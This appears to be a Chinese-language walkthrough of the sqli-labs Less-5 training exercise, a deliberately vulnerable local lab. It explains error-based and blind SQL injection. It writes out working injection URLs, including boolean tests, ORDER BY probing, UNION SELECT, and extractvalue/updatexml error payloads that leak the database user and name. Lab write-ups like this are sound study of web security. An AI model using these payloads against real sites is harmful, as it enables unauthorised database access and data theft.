学习使用,勿违法!!
Less-5 GET-Double Injection-Single Quotes-String(双注入GET单引号字符型注入)
开始测试,id=1 ,现象是页面出现下面,正常显示,我们用其他的方式的手段先测试。
用单引号和and 语句尝试。发现是字符型,单引号闭合。
http://sqli-lab:89/Less-5/index.php?id=1’ and 1=1 --+
再用假条件,发现sql语句是被执行了的,现在判断这里是有注入点的。
http://sqli-lab:89/Less-5/index.php?id=1’ and 1=2 --+
现在可以找字段数了。
http://sqli-lab:89/Less-5/?id=1’ order by 4 --+
这一关没有回显,我们就要考虑其他的手段了。
http://sqli-lab:89/Less-5/?id=1’ union select 1,database(),user() --+
尝试数据库报错来取得想要的数据
这里说明一下盲注。
盲注分为三类:1.基于布尔的sql盲注(逻辑判断)。2.基于时间的sql盲注(延时判断)。3.基于报错的sql盲注(强制性报错)。
这里用到强制性报错。用到函数:
- updatexml():从目标XML中更改包含所查询值的字符串。
- extractvalue():从目标XML中返回包含所查询值的字符串
这两个函数会在它的参数出错时报错。我们就是利用这个来完成注入。
现在利用updatexml(XML_document,XPath_string,new_value)函数和,extractvalue(XML_document,XPath_string)函数,当XPath格式不对时,就会报错,得到了信息。那么我们顺着这个开始注入。(这里可以用union联合注入,也可以就利用or语句来注入,我开始用的联合,在用limit显示表名时 报错,就换成or语句来注入了。)
http://sqli-lab:89/Less-5/?id=1’ or extractvalue(1,(select user()))–+
http://sqli-lab:89/Less-5/?id=1’ union select 1, extractvalue(1,select user()),3–+
又利用报错得到了库名。
这里报的显示不完全